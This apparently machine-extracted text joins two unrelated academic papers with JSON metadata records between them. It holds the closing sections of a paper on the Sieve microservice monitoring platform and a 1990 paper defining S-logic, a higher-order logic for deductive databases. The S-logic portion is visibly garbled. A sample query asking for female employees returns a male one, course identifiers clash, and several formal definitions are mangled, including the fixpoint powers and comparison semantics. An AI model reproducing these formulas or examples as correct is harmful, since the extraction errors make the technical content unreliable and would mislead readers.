Lesson#3. To adapt to the application workload variations, Sieve needs to build a robust model for the evaluated application. This requires a workload generator that can stress-test the application thoroughly. To meet this requirement, there are three approaches: (1) In many cases the developers already supply an application-specific workload generator. For instance, we employed the workload generator shipped with the OpenStack distribution. (2) For cases where we did not have an existing workload generator, we implemented a custom workload generator for the evaluated application. For example, we built a workload generator for ShareLatex. Although we were able to faithfully simulate user actions in ShareLatex, such an approach might not be feasible for some applications. Having the ability to utilize existing production traces (e.g., by replaying the trace or by reproducing similar traces) or working in an online fashion to generate the model of the application would certainly help Sieve. Custom workload generation can then be used to close the gaps in the model for certain workload conditions not covered by the existing traces. (3) We could also explore some principled approaches for automatic workload generation, such as symbolic execution in distributed systems [33].
9 Conclusion and Future Work
This paper reports on our experiences with designing and building Sieve, a platform to automatically derive actionable insights from monitored metrics in distributed systems. Sieve achieves this goal by automatically reducing the amount of metrics and inferring inter-component dependencies. Our general approach is independent of the application, and can be deployed in an unsupervised mode without prior knowledge of the time series of metrics. We showed that Sieve's resulting model is consistent, and can be applied for common use cases such as autoscaling and root-cause debugging.
An interesting research challenge for the future would be to integrate Sieve into the continuous integration pipeline of an application development. In this scenario, the dependency graph can be updated incrementally [36–38], which would speed up the analytics part. In this way, the developers would be able to get real-time profile updates of their infrastructure. Another challenge is to utilize already existing traffic to generate the dependency graph without requiring the developers to load the system. Using existing traffic would alleviate the burden of developers to supply a workload generator. On the other hand, existing traffic traces might not always capture the stress points of the application. A hybrid approach, in which workload generation is only used for these corner cases, might help to overcome this problem.
Additional results and software availability. A detailed technical report with additional experimental evaluation results is available online [84]. Finally, the source code of Sieve is publicly available: https://sieve-microservices.github.io/.
Acknowledgments. We would like to thank Amazon AWS for providing the required infrastructure to run the experiments.
References
2016.
|
{"Source-Url": "https://www.pure.ed.ac.uk/ws/files/47925071/Thalheim_et_al_2017_Sieve_Actionable_Insights.pdf", "len_cl100k_base": 15077, "olmocr-version": "0.1.53", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 50069, "total-output-tokens": 17591, "length": "2e13", "weborganizer": {"__label__adult": 0.0003094673156738281, "__label__art_design": 0.0004625320434570313, "__label__crime_law": 0.0002892017364501953, "__label__education_jobs": 0.0019025802612304688, "__label__entertainment": 0.0001423358917236328, "__label__fashion_beauty": 0.0001819133758544922, "__label__finance_business": 0.0006880760192871094, "__label__food_dining": 0.0003197193145751953, "__label__games": 0.0007109642028808594, "__label__hardware": 0.0014591217041015625, "__label__health": 0.0005397796630859375, "__label__history": 0.0004730224609375, "__label__home_hobbies": 0.00013530254364013672, "__label__industrial": 0.0005249977111816406, "__label__literature": 0.0004818439483642578, "__label__politics": 0.0003142356872558594, "__label__religion": 0.00039458274841308594, "__label__science_tech": 0.1798095703125, "__label__social_life": 0.0001468658447265625, "__label__software": 0.03131103515625, "__label__software_dev": 0.7783203125, "__label__sports_fitness": 0.0002467632293701172, "__label__transportation": 0.0005898475646972656, "__label__travel": 0.00025153160095214844}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 78022, 0.03351]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 78022, 0.25781]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 78022, 0.89838]], "google_gemma-3-12b-it_contains_pii": [[0, 1345, false], [1345, 7718, null], [7718, 14221, null], [14221, 19834, null], [19834, 26881, null], [26881, 33976, null], [33976, 40738, null], [40738, 44809, null], [44809, 50389, null], [50389, 53724, null], [53724, 59415, null], [59415, 66766, null], [66766, 74085, null], [74085, 74085, null], [74085, 78022, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1345, true], [1345, 7718, null], [7718, 14221, null], [14221, 19834, null], [19834, 26881, null], [26881, 33976, null], [33976, 40738, null], [40738, 44809, null], [44809, 50389, null], [50389, 53724, null], [53724, 59415, null], [59415, 66766, null], [66766, 74085, null], [74085, 74085, null], [74085, 78022, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 78022, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 78022, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 78022, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 78022, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 78022, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 78022, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 78022, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 78022, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 78022, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 78022, null]], "pdf_page_numbers": [[0, 1345, 1], [1345, 7718, 2], [7718, 14221, 3], [14221, 19834, 4], [19834, 26881, 5], [26881, 33976, 6], [33976, 40738, 7], [40738, 44809, 8], [44809, 50389, 9], [50389, 53724, 10], [53724, 59415, 11], [59415, 66766, 12], [66766, 74085, 13], [74085, 74085, 14], [74085, 78022, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 78022, 0.09507]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
1831eafbae4acb4ddefc5674a0bc821259d8d126
|
S-Logic: A Higher-Order Logic Language for Deductive Databases
Mengchi Liu and John Cleary
Department of Computer Science
University of Calgary
Calgary, Alberta Canada T2N 1N4
February 16, 1990
Abstract
Deductive databases based on relational databases and Prolog techniques are not suitable for complex object modeling. The problems result from the underlying relational model and the pure Prolog which use inexpressive flat structures. Semantic data models using data abstractions and inheritance greatly increase expressiveness. So do extended terms with internal structure in logic programming. This paper proposes a higher-order logic language for deductive databases called S-logic which is the combination of the semantic data model and extended term approaches. It supports object identity, semantic data abstractions and inheritance very naturally and allows the definition and manipulation of database schema and data in an integrated framework.
1 Introduction
A primary goal of deductive databases is to express facts, deductive information, meta-information and queries in a uniform way. However, deductive databases based on relational database and pure Prolog techniques [7, 19] cannot really satisfy this goal. They can not represent real world information such as object identity, complex objects and inheritance naturally do not support schemas and higher-order queries in an integrated framework [15]. The problems result from the underlying relational data model and pure Prolog techniques themselves.
The relational data model is record-based and has a number of serious limitations, especially from the user's point of view. In response, a number of semantic data models have been proposed in order to provide mechanisms and constructs that mirror the prevalent kinds of relationships naturally arising between data stored in a database [2, 4, 5, 8, 21]. Four abstraction mechanisms
are found essential to most semantic data models: classification, aggregation, association and generalization [2, 3, 5, 8, 11, 18, 20, 21]. Inherent in abstractions is property inheritance. Generalization and classification support top-down inheritance, while aggregation and association support bottom-up inheritance. Inheritance enables us to reduce the redundancy of the schema specification while maintaining its completeness. Using some of the four abstractions for relating objects and constructing new objects, very complex objects can be easily represented and the advantage of inheritance obtained. This capability greatly increases the expressive power of semantic data models. It is argued in [19] that first-order language could use logical implication to express data abstractions other than association and their inheritances. However as discussed in [10], this approach does not capture what we really mean even though it is semantically satisfactory. The problem is that traditional first-order logic use inexpressive flat structures which can only represent names of object and relationships among those names, rather than the existence and internal structure of objects.
In deductive databases, we have to reason about schema information. Therefore, we need higher-order logics. But higher-order logics have been met with skepticism since the unification problem is undecidable. So normally, a separate language is provided to specify and manipulate the schema information.
A number of attempts have been made to solve the above problems. Among them, ψ-terms [10], O-logic [13, 17], C-logic[6], COL [1] and F-logic [12] are most notable because they can naturally model the existence and internal structure of objects. But they support only some of the abstractions and inheritance rather than all of them. This causes some problems as discussed in detail in [15].
Some work has been done towards the integration of reasoning about schema and data. It was suggested that the useful parts of higher-order logic can be given a first-order semantics by encoding them in predicate calculus [9]. However, this provides only an indirect semantics and cannot really solve the problem. Based upon bottom-up semantics where unification is replaced by matching, [14] proposed a higher-order language for deductive databases which is decidable. However, it does not solve the other problems.
In this paper we propose a deductive database language, called S-logic which extends ψ-terms, O-logic, C-logic, COL and F-logic and is capable of representing the four abstractions and inheritance in general. Besides, S-logic provides the capability of expressing and manipulating schema and higher-order information in an integrated manner. The higher-order semantics of S-logic is decidable based on the replacement semantics proposed in [14].
The organization of the paper is as follows. By means of examples, we introduce S-logic informally in Section 2. Then in Section 3, we formally define
its semantics.
2 Informal Presentation and Examples
An S-logic program consists of four parts: the type system, database, rules, and queries. The type system is the schema of the database and consists of all type definitions, a lattice over all types. A type in S-logic is a name which specifies a set of objects having the same properties. There are five kinds of types in S-logic: basic types, set types, disjunctive types, abstract types and built-in types. The user specifies all the types other than basic types and built-in types explicitly in type definitions or implicitly in rules. The basic types include integer, string and their subsets. A set type specifies a structure of elements of identical type, called set element type. For example, \{integer\} specifies a set type whose set element type is integer. An abstract type specifies the set of elements and the properties the elements have as well. A property is described by a function called isa or attributes from the specified type to a type. The isa label is used for specifying subtyping relationship and performing automatic property inheritance. Figure 1 shows several examples of abstract types. Student is a subtype of person. Therefore, it inherits (via isa) all the properties the person has with a restriction on age. Besides, it has its own property of studying a number of courses in type \{course\}. There are two built-in types in S-logic. One is called all which includes all objects in every type and may has no properties at all. The other is called none which has no objects and has all the existing properties. Based on the subtype relationships, S-logic's type system forms a lattice. Types in the lattice are either built-in, user-defined, or inferred from what the user has defined. Figure 2 shows a lattice based on the type definition of Figure 1.
A database in S-logic consists of all objects that satisfy the type system. Every object belonging to an abstract type has all the properties of this type. Since subtype inherits the properties of its supertype, no isa label is in the database. For every type other than none, there is a biggest element \(\top\) which means any unknown object, and a smallest element \(\bot\) which means empty element. For the none, it has only one element \(\bot\). If a property of a object is not specified, S-logic will assume a default value \(\top\) of the corresponding type. If a conflict happens, S-logic will infer a value \(\bot\) of the corresponding type. Whenever the type information is clear, the type name may be omitted for convenience. Figure 3 shows a database corresponding to the type system of figure 1.
In S-logic, a type itself corresponds to a classification and its elements inherit all the properties of the type. An isa label corresponds to a generalization and the properties of super type is automatically inherited by the subtype. A set type corresponds to association which inherit the properties of its set element.
An abstract type definition with labels other than isa corresponds to aggregation.
```
person(name -> string,
age -> integer({0..120}),
sex -> string({'Male', 'Female'}),
father -> person,
mother -> person).
student(isa -> person(age -> integer({0..30})),
study -> {course}).
employee(isa -> person(age -> integer({25..65})),
works.at -> dept).
assistant(isa -> student, isa -> employee).
dept(name -> string, head -> person).
course(name -> string, credit -> integer).
```
Figure 1. A sample type system
Figure 2. The lattice over the sample type system
Based on the database, deductive information can be defined by using rules in S-logic. We can define a new type by describing how to construct its objects, or we can define a new attribute for an existing type etc. Figure 4 shows several rules defined on the database. The first one defines a family type which has a set grouping attribute children based on the existing person type. The existence of objects of the family type depends on the existence of the objects
\(X\) and \(Y\). The function \(id\) is an object constructor. The second rule defines another property of \(employee\) type from the existing information. For a set type, its elements are sets and a variable can be used to range over the elements. \(\{X\}\) however is used to stand for one specific element which is a set and \(X\) ranges over elements of this set. S-logic's objects are determined by functions.
\[
jenny:student(name \to 'Jenny', age \to 24, sex \to 'Female',
\text{father} \to \text{john}, \text{study} \to \{\text{c213, m251}\}).
\]
\[
john:employee(name \to 'John', age \to 56, sex \to 'Male',
\text{works.at} \to \text{cpsc}).
\]
\[
henry:employee(name \to 'Henry', age \to 37, sex \to 'Male',
\text{work.at} \to \text{math}).
\]
\[
smith:assistant(name \to 'Smith', age \to 29, sex \to 'Male',
\text{works.at} \to \text{cpsc}, \text{study} \to \{\text{c671, c657}\}).
\]
\[
dennis:person(name \to 'Dennis', age \to 5, sex \to 'Male',
\text{father} \to \text{smith}, \text{mother} \to \text{jenny}).
\]
\[
cpsc:dept(name \to 'Computer Science', \text{head} \to \text{john}).
\]
\[
math:dept(name \to 'Mathematics', \text{head} \to \text{henry}).
\]
\[
c211:course(name \to 'Programming Language', \text{credit} \to 3).
\]
\[
m251:course(name \to 'Calculus', \text{credit} \to 6).
\]
\[
c657:course(name \to 'Distributed System', \text{credit} \to 3).
\]
\[
c671:course(name \to 'Artificial Intelligence', \text{credit} \to 3).
\]
Figure 3: A sample database
Queries can be defined over the database, rules and the type system in a uniform way. Figure 4 shows several query examples. The first query asks for all the employees' name who are female and work at the computer science department and whose ages are not greater than 30. The only answer is \(X = 'Smith', Y = 29\). Note that object \(smith\) belongs to type \(assistant\) and \(assistant\) is a subtype of \(employee\). The second query asks for all of jenny's children. Here \(\{X\}\) is a set grouping variable similar to [22]. The answer is \(X = dennis\) The third query asks for john's type information, properties and the corresponding values. The type \(employee\) and \(person\) will be given as answers to \(X\), and \(name, age, etc.\) will be given to \(L\), and \('John', 56, etc.\) will be given to \(Y\) as corresponding values. The fourth query asks for henry's type information. Except \(string, integer, dept, etc.\) will be given to \(y\), the rest are the same as the third query. The last query asks for all information about the type system.
id(X,Y):family(father → X, mother → Y, children → \{Z\})
⇔ Z:person(father → X, mother → Y).
E:employee(supervisor → M) ⇔ E(works_at → D:dept),
D(head → M).
(1) ? :employee(name → X, sex → 'Female', age → Y,
works_at → cpsc), Y ≤ 30.
(2) ? :family(mother → jenny, children → \{X\}).
(3) ? john:X( L → Y).
(4) ? henry:X( L → :Y).
(5) ? X( L → Y).
Figure 4: Rules and Queries
3 A Formal Presentation
In this section, we introduce the syntax and semantics of the basic S-logic. First, we define types, database, rules and queries. Then we define its semantics.
3.1 Syntax
The alphabet of S-logic consists of (1) the set \( A = \{all, none, T, F\} \), (2) the set \( B = \{integer, string\} \), (3) a set \( D \) which is the union of the set \( Z \) of integers, the set \( S \) of strings. (4) a countably infinite set \( O \) of object identifiers, (5) a finite set \( C \) of type constructors, (6) a finite set \( L \) of labels which are of three kinds: single-valued, set-valued and \( isa \) labels. (7) a countably infinite set \( F \) of function symbols, which are called object constructors, (8) an infinite set \( V \) of variables, and (9) logical connective \( \leq \), (10) parentheses, arrows, \( \cdot \), etc. Here we assume that the sets \( A, B, D, O, C, F, L, V \) are disjoint.
**TYPES and SUBTYPES:** (1) Every element of \( B \) is a type, called a basic type. If \( s \) is a basic type, then \( s(\{a_1, ..., a_n\}) \), \( n \geq 1 \) is also a basic type and \( a_1, ..., a_n \) are called elements of the type. If \( s \) is an integer, then \( s(\{b, rb\}) \) is also a basic type and \( b \) and \( rb \) are called the range of this type. (2) If \( s \) is a type, then \( \{s\} \) is a type called a set type. \( s \) itself is called a set element type. (3) If \( s_1, ..., s_n \) are types \( n \geq 2 \), then \( s_1|...|s_n \) is a type, called a disjunctive type. Each \( s_i \) is a subtype of \( s_1|...|s_n \). (4) If \( p_1, ..., p_n \) belong to \( C \) or \( B \), \( p \) belongs to \( C \), \( l_1, ..., l_n \) are labels, and we have the definition \( p(l_1 → p_1, ..., l_n → p_n) \) then \( p \) is a type, called an abstract type. If \( l_i \) is an \( isa \) label, then \( p \) is a subtype of \( p_i \). If \( l_i \) is other than \( isa \) label, then \( l_i → p_i \) is called the property of \( p \), \( l_i \) is called the attribute and \( p_i \) is called the component type of \( p \). If \( p_i \) is a set type, then \( l_i \) is a set-valued label, otherwise \( l_i \) is a single-valued label. (5) \( all \) and \( none \) are
types, called built-in types, which represent the biggest type and the smallest type respectively. Every type is a subtype of \textit{all} and every type has \textit{none} as a subtype. All the types are partially ordered by the subtype relationship. We use ‘\leq’ to represent subtype relationship between types.
All types except basic types and built-in types are user-defined types. If a user-defined type does not contain a nested type definition, then it is called a flat type. Without losing generality, we restrict ourselves to flat types later on. If all user-defined types are specified in a top-down fashion, i.e. the present types are defined based on the existing types, then all the types form a lattice under \leq with \textit{all} as a top element and \textit{none} as a bottom element.
\textbf{TYPE SYSTEM}: A type system is a set of type definitions which forms a lattice under the subtype relationship. If a type \( p \) is a subtype of two supertypes \( q, r \), then there should be a type other than \textit{all} such that \( q, r \) are its subtypes under the transferrable relationship\(^1\).
\textbf{VALUES, VARIABLES and OBJECT IDENTITIES}: Every element of \( D \) and \( O \) is a value, called a basic value. If \( v_1, \ldots, v_p \) are basic values, then \( \{v_1, \ldots, v_p\} \) is a set value. \( \{} \) denotes the empty set value. Every type is a value, called a type value. Every label is a value, called a label value. Every element of \( V \) is a variable. There are four kinds of variables in \( V \): single-valued variables, set-valued variables, type variables and label variables. If \( X_1, \ldots, X_q \) \((q \geq 1)\) are single-valued variables, and \( \{X_1, \ldots, X_q\} \) is a set grouping variable. If \( Y_1, \ldots, Y_n \) \((n \geq 1)\) are single-valued variables or basic values, and \( f \) belongs to \( F \), then \( f(Y_1, \ldots, Y_n) \) is an object identity.
\textbf{TYPE S-TERMS, BASIC S-TERM and S-TERM}: (1) If \( P \) is a type variable, then \( P \) is a type S-term (2) If \( P \) is an abstract type or type variable, \( P_1, \ldots, P_n \) are types or type variables, and \( L_1, \ldots, L_n \) \((n \geq 1)\) are labels or label variables, then \( P(L_1 \rightarrow P_1, \ldots, L_n \rightarrow P_n) \) is a type S-term. (3) If \( p \) is a type, \( X \) is either a basic variable, a basic value, or object identity, then \( X : p \) is a basic S-term. (4) If \( p \) is an abstract type with properties \( l_i \rightarrow p_i \) \((1 \leq i \leq n)\) and \( X, X_1, \ldots, X_n \) are either basic variables, basic values or object identities, then \( X : P(l_1 \rightarrow X_1 : p_1, \ldots, l_n \rightarrow X_n : p_n) \) is a basic S-term. (5) Type S-terms and basic S-terms are S-terms. (6) If \( P, P_1, \ldots, P_n \) \((n \geq 0)\) are types or type variables, \( L_1, \ldots, L_n \) are labels or label variables other than \textit{isa}, and \( X, X_1, \ldots, X_n \) are either basic variables, basic values or object identities, then \( X : P(l_1 \rightarrow X_1 : P_1, \ldots, l_n \rightarrow X_n : P_n) \) is an S-term.
If \( X \) is a single-valued or set-valued variable and its name is not of interest
\(^1\)This definition gives a restriction on subtype relationship which is similar to the global restrictions discussed in [11]
then $X : P$ can be replaced by $: P$ for convenience in S-terms. According to the above definition, there should not be any isa labels in S-terms other than type S-terms. To simplify the notation we assume the following convention: if an attribute $l$ and the corresponding type $p$ is omitted in an S-term then the intention is $l \rightarrow T : p$. Furthermore, if a class specification is omitted and cannot be inferred, then all is assumed.
DATABASES: A database is the set of all ground basic S-terms (or base relations).
LITERALS: (1) An S-term is a positive literal. (2) $\psi_1 = \psi_2, \psi_1 \leq \psi_2, \psi_1 \geq \psi_2, \psi_1 < \psi_2, \psi_1 > \psi_2, \psi_1 \neq \psi_2$, are all positive literals, where $\psi_1, \psi_2$ are S-terms. (3) If $p$ is a positive literal, $\neg p$ is a negative literal.
RULES and QUERIES: A rule is an expression of the form $p \leftarrow p_1, ..., p_n$ where the body $p_1, ..., p_n$ is a conjunction of literals; and the head $p$ is an S-term. Every fact in the database is a rule with an empty body. A query is a rule with an empty head and is denoted as $? p_1, ..., p_n$.
PROGRAMS: A program is a quadruple $(S, DB, R, Q)$, where $S$ is a type system, $DB$ is a database, $R$ is a finite collection of rules and $Q$ is a query. A flat program is a program whose types, database, rules and query are flat, i.e., without any nested values or variables.
3.2 Semantics
INTERPRETATION: Given a language $P$ of S-logic, its interpretation $I$ is a tuple $(U, \Sigma, \lambda, \pi, g_C, g_L, g_O, g_F, \theta)$ where $U$ is a possibly infinite universe of all objects, values in the real world, $\Sigma$ is a finite set of semantic types which stand for subsets of $U$ under the mapping $\pi$. $\Lambda$ is a finite set of semantic labels, which is a sum of three other mappings: $\Lambda_\Sigma, \Lambda_\Lambda, \Lambda_\theta$, where $\Lambda_\Sigma$ is a single-valued mapping $U \rightarrow U$, $\Lambda_\Lambda$ is a set-valued mapping $U \rightarrow 2^U$, and $\Lambda_\theta$ is an identical mapping $U \rightarrow U$. $\pi$ is a mapping from $\Sigma$ to $2^U$. Function $g_C$ is a homomorphism which interprets each syntax type in $C$ as a semantic type in $\Sigma$. Function $g_L$ interprets each label as a semantic label in $\Lambda$, i.e., $g_L : L \rightarrow \Lambda$. Function $g_O$ is a homomorphism $O \cup D \rightarrow U$. Function $g_F$ interprets each k-ary object constructor as a mapping $U^k \rightarrow U$.
SEMANTICS OF TYPES: Given an interpretation $I$, the intended semantics of types is given by $\pi \circ g_C$ as follows:
1. For the basic types, $\pi(g_C(integer)) = Z \subseteq U$; $\pi(g_C(string)) = S \subseteq U$; if $s = c(a_1, ..., a_n)$, $c$ is either integer, or string, then $\pi(g_C(s)) = \{g_C(a_1), ..., g_C(a_n)\} \subseteq \pi(g_C(s))$; if $s = integer(\{lb, rb\})$, then $\pi(g_C(s)) = \{x | g_O(lb) \leq x \leq g_O(rb)\} \subseteq Z$.
8
(2) For a set type \( \{s\} \), \( \pi(g_C(\{s\})) = 2^{g_C(\{s\})} \subseteq 2^U \).
(3) For a disjunctive type \( s_1 \mid \ldots \mid s_n \), \( \pi(g_C(s_1 \mid \ldots \mid s_n)) = \pi(g_C(s_1)) \cup \ldots \cup \pi(g_C(s_n)) \).
(4) For an abstract object \( p \) with definition \( \rho(l_1 \rightarrow p_1, \ldots, l_n \rightarrow p_n) \), \( \pi(g_C(p)) = \{x \mid g_L(l_i)(g_C(x)) = g_C(x_i) \in \pi(g_C(p_i)), 1 \leq i \leq n\} \). If \( l_i = isa \), then for each \( x \in \pi(g_C(p)) \), \( g_L(l_i)(x) = x \in \pi(g_C(p_i)) \), so \( g_L(l_i)(\pi(g_C(p)) = \pi(g_C(p)) \subseteq \pi(g_C(p_i)) \).
(5) For built-in types, \( \pi(g_C(all)) = U; \pi(g_C(none)) = \{\} \).
Obviously, under the semantics given above, the subtype relationship is interpreted as set inclusion under the mapping \( \pi \circ g_C \), i.e. if \( p \subseteq q \) then \( \pi(g_C(p)) \subseteq \pi(g_C(q)) \).
**Proposition 1:** Given a type system the types of which form a lattice under the subtype relationship, its interpretation based on the above semantics also forms a lattice based on set-inclusion relationship. \( \square \)
**VARIABLE ASSIGNMENT:** A variable assignment, \( \nu \), is a ground substitution which assigns an element in \( U \) to a single-valued variable, a subset of \( U \) to a set-valued variable in \( \Sigma \) to a type variable, and a label in \( \Lambda \) to a label variable. Besides, we extend it to non-variable elements in the usual way: if \( d \in O \cup D \), then \( \nu(d) = g_C(d) \); if \( t \in L \), then \( \nu(t) = g_L(t) \); if \( c \in C \), then \( \nu(c) = g_C(c) \); if \( f \in F \), then \( \nu(f) = g_F(f) \); and \( \nu(f(\ldots,X,\ldots)) = g_F(f(\ldots,\nu(X),\ldots)) \).
**SEMANTICS OF S-TERMS:** Given an interpretation \( I \) and a variable assignment \( \nu \), function \( M_{\nu}(\cdot) \) defines the semantics of S-terms as follows:
(1) For a type S-term \( P \), \( M_{\nu}(P) = true \) iff \( \nu(P) \in \Sigma \).
(2) For a type S-term \( t = P(L_1 \rightarrow L_1, \ldots, L_n \rightarrow L_n) \), \( M_{\nu}(t) = true \) iff \( \nu(P) \in \Sigma, \nu(L_i) \in \Lambda, \) and \( \nu(L_i)(\pi(\nu(P))) \subseteq \nu(\pi(P_i)), 1 \leq i \leq n \).
(3) For a basic S-term \( X : p \), \( M_{\nu}(X : p) = true \) iff \( \nu(X) \in \pi(g_C(p)) \).
(4) For a basic S-term \( t = X : P(L_1 \rightarrow P_1, \ldots, L_n \rightarrow P_n) \), \( M_{\nu}(t) = true \) iff \( \nu(P_1 \rightarrow P_1, \ldots, P_n \rightarrow P_n) \) is a true type S-term; \( \nu(X) \in \pi(g_C(p)), \nu(X_i) \in \pi(g_C(p_i)), 1 \leq i \leq n \) and \( g_L(l_i)(\nu(X)) = \nu(X_i) \). If \( X_i \) is a set grouping variable and \( X_i = \{X_1, \ldots, X_q\} \), then \( \nu(Y_i) \in g_L(l_i)(\nu(X)), 1 \leq j \leq q \).
(5) For an S-term \( t = X : P(P_1 \rightarrow P_1, \ldots, P_n \rightarrow P_n) \) is a true type S-term under the assignment \( \nu(P), \nu(P_i), \nu(L_i), 1 \leq i \leq n; \nu(X) \in \pi(\nu(P)), \nu(X_i) \in \pi(\nu(P_i)), \) and \( \nu(L_i)(\nu(X)) = \nu(X_i), 1 \leq i \leq n \). If \( X_i \) is a set grouping variable and \( X_i = \{X_1, \ldots, X_q\} \), then \( \nu(Y_i) \in g_L(l_i)(\nu(X)), 1 \leq j \leq q \).
**SEMANTICS OF LITERALS:** Given an interpretation \( I \) and a variable assignment \( \nu \), \( M_{\nu}(\cdot) \) defines the semantics of literals other than S-terms as follows:
\[ M_{\nu}(\psi_1 = \psi_2) = true \] \( \iff \) \( \nu(\psi_1) = \nu(\psi_2) \). \( M_{\nu}(\psi_1 \neq \psi_2) = true \] \( \iff \) \( \nu(\psi_1) \neq \nu(\psi_2) \). \( M_{\nu}(\psi_1 \leq \psi_2) = true \] \( \iff \) \( \nu(\psi_1) \leq \nu(\psi_2) \). \( M_{\nu}(\psi_1 \geq \psi_2) = true \] \( \iff \) \( \nu(\psi_1) \geq \nu(\psi_2) \). \( M_{\nu}(\psi_1 < \psi_2) = true \] \( \iff \) \( \nu(\psi_1) < \nu(\psi_2) \). \( M_{\nu}(\psi_1 < \psi_2) = true \] \( \iff \) \( \nu(\psi_1) < \nu(\psi_2) \).
iff $\nu(\psi_1) < \nu(\psi_2), \nu(\psi_1), \nu(\psi_2) \in \mathbb{Z}$. $M_I,\nu(\psi_1 < \psi_2) = true$ iff $\nu(\psi_1) > \\
\nu(\psi_2), \nu(\psi_1), \nu(\psi_2) \in \mathbb{Z}$. If $\psi$ is an S-term, $M_I,\nu(\neg \psi) = true$, iff $M_I,\nu(\psi) = false$.
Clearly, for a closed an S-term $\psi$, its meaning is independent of a variable assignment, and we can simply write $M_I(\psi)$.
SATISFACTION: Given a program $P = (S, DB, R, Q)$ and an interpretation $I$ we define the notion of satisfaction (denoted by $\models_I$) as follows: If $I$ obeys proposition 1, then we say the type system is satisfied by $I$ and we write $\models_I S$.
If $M_I(\psi) = true$ for each ground S-term $\psi$ in the database $DB$, then the database is satisfied by $I$, and we write $\models_I DB$. If $\models_I S, DB$, $\phi$ is a literal and $M_I(\phi) = true$, then we say $I$ satisfies $\phi$ based on $S, DB$, and we write $S, DB \models_I \phi$. Let $r = p \leftarrow p_1, ..., p_n$, if for every variable assignment $\nu$, such that $S, DB \models_I \nu(p_i)$, for each $i$, and $S, DB \models_I \nu(p)$, then $r$ is satisfied by $I$, and we write $S, DB \models_I r$. For the program $P$, if its type system, database, rules are satisfied by $I$, then the program is satisfied by $I$, and we write $\models_I P$.
If $\models_I P$, $\psi$ is a ground literal and $\models_I \psi$, then we say $\psi$ logically implied by $P$, and we write $P \models_I \psi$.
PARTIAL ORDER OVER INTERPRETATIONS: An interpretation $I_1 = (U_1, \Sigma_1, \Lambda_1, \pi_1, g_{c_1}, g_{a_1}, g_{f_1})$ is a subset of an interpretation $I_2 = (U_2, \Sigma_2, \Lambda_2, \pi_2, g_{c_2}, g_{a_2}, g_{f_2})$ iff the following conditions hold: (1) $U_1 \subseteq U_2$. (2) $\Sigma_1 \subseteq \Sigma_2$. (3) $\Lambda_1 \subseteq \Lambda_2$. (4) $\pi_1(g_{c_1}(d)) \subseteq \pi_2(g_{c_2}(d))$, for every $d \in C$. (5) $g_{a_1} = g_{a_2}$. (6) $g_{f_1} = g_{f_2}$.
MODELS: A model of a program $P$ is an interpretation which satisfies $P$. A model $M$ of $P$ is minimal if no proper subset of $M$ exists such that it is also a model of $P$.
ANSWERS: Given a program $P = (S, DB, R, Q)$, and an interpretation $I$ such that $\models_I P$, the set of answers to $Q$ is the smallest set of variable assignments such that for each assignment $\nu$, $P \models \nu(Q)$.
Propositions 2: If a program has a model, then it has a unique minimal model.
We define an operator $T$ as follows: Given a set of rules $R$ and a set $I$
$$T_R(I) = \{ \nu(p) | p \leftarrow p_1, ..., p_n \in R, \exists \nu \text{ satisfying } p_1, ..., p_n \}.$$
We define the powers of the operator $T$ as follows:
$$T \uparrow 0(I) = T(I)$$
$$T \uparrow n(I) = T(T \uparrow n-2(I)) \cup T \uparrow n-2(I), (n \geq 2)$$
We define the least fixpoint of the program $P = (S, DB, R, Q)$ to be the set of
objects $T_R \models \omega(\phi)$ where $\omega$ is the first limit ordinal number.
Proposition 3: $T_R \models (\phi)$ exists and is equivalent to the unique minimal model of a given program $P = (S, DB, R, Q)$. □
We leave the discussion of this aspect as a full paper.
4 Conclusion
Deductive databases are torn by two opposing forces. On one side there are the stringent real-world requirements of actual databases. The requirements include efficient processing as well as the ability to express complex and subtle real relationships. On the other side are the simple and clear semantics of logic programming and its deductive power. The need of expressiveness have forced the deductive models away from their simple roots in logic programming.
In this paper, we present a higher-order logic which is based on semantic data models and extended logic term approaches. S-logic is capable of representing object identity, data abstraction and inheritance naturally, and reasoning about schema information and data uniformly. Although not presented in this paper, S-logic has a sound and complete resolution-based proof procedure based on its bottom-up computation feature. We will discuss this issue in another paper.
References
|
{"Source-Url": "https://prism.ucalgary.ca/server/api/core/bitstreams/3726bd92-94e5-4398-9a1f-3ee08cd355a9/content", "len_cl100k_base": 8253, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 14885, "total-output-tokens": 10450, "length": "2e13", "weborganizer": {"__label__adult": 0.00037169456481933594, "__label__art_design": 0.00041556358337402344, "__label__crime_law": 0.0004668235778808594, "__label__education_jobs": 0.0018777847290039065, "__label__entertainment": 0.00010329484939575197, "__label__fashion_beauty": 0.0001850128173828125, "__label__finance_business": 0.00032329559326171875, "__label__food_dining": 0.0004854202270507813, "__label__games": 0.0006885528564453125, "__label__hardware": 0.0009450912475585938, "__label__health": 0.0006198883056640625, "__label__history": 0.0002593994140625, "__label__home_hobbies": 0.00014889240264892578, "__label__industrial": 0.0006613731384277344, "__label__literature": 0.0006041526794433594, "__label__politics": 0.00029730796813964844, "__label__religion": 0.0005970001220703125, "__label__science_tech": 0.07421875, "__label__social_life": 0.00013267993927001953, 